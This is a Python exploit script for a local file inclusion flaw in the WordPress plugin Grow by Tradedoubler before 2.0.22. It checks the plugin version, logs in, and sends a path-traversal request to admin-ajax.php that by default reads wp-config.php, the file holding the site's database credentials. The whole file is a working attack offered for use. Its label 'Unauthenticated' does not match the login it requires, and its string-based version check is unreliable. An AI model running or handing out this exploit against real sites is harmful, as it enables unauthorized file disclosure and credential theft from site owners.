import argparse import requests import re # By Nxploit Khaled_alenazi requests.packages.urllib3.disable_warnings() # Disable SSL verification warnings def url_check_version(url): version_url = url + '/wp-content/plugins/tradedoubler-affiliate-tracker/readme.txt' try: response = requests.get(version_url, verify=False) response.raise_for_status() # Find version number match = re.search(r'Version:\s*(\d+\.\d+\.\d+)', response.text) if match: version = match.group(1) print(f"Found version: {version}") if version <= '2.0.21': print("The site is vulnerable.") return True else: print("The site is not vulnerable.") return False else: print("Version information not found.") return False except requests.RequestException as e: print(f"Error accessing {version_url}: {e}") return False def login_to_wordpress(session, url, username, password): login_url = url + '/wp-login.php' response = session.post( login_url, verify=False, data={ 'log': username, 'pwd': password, 'rememberme': 'forever', 'wp-submit': 'Log+In' }, headers={"User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:128.0) Gecko/20100101 Firefox/128.0"} ) # Check login if any('wordpress_logged_in' in cookie.name for cookie in session.cookies): print("Logged in successfully.") return True else: print("Failed to log in.") return False def exploit_ajax(session, url, component): ajax_url = url + '/wp-admin/admin-ajax.php' referer_url = url + '/wordpress/wp-admin/profile.php' payload = {'action': 'tm_load_data', 'component': component} headers = { "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:128.0) Gecko/20100101 Firefox/128.0", "Accept": "application/json, text/javascript, */*; q=0.01", "Content-Type": "application/x-www-form-urlencoded; charset=UTF-8", "X-Requested-With": "XMLHttpRequest", "Referer": referer_url, "Origin": url } # Send exploit request response = session.post(ajax_url, data=payload, headers=headers, verify=False) if response.status_code == 200: print("Exploit successful! Response:") print(response.text) else: print(f"Exploit failed with status code: {response.status_code}") def main(): parser = argparse.ArgumentParser(description="Grow by Tradedoubler < 2.0.22 - Unauthenticated LFI") parser.add_argument('-u', '--url', required=True, help="Target WordPress site URL (e.g., http://example.com)") parser.add_argument('-U', '--username', required=True, help="WordPress username") parser.add_argument('-P', '--password', required=True, help="WordPress password") parser.add_argument('-c', '--component', default='../../../../../wp-config.php', help="Path to the target file (default: wp-config.php)") args = parser.parse_args() if not url_check_version(args.url): return session = requests.Session() session.verify = False if not login_to_wordpress(session, args.url, args.username, args.password): exit() exploit_ajax(session, args.url, args.component) if __name__ == "__main__": main()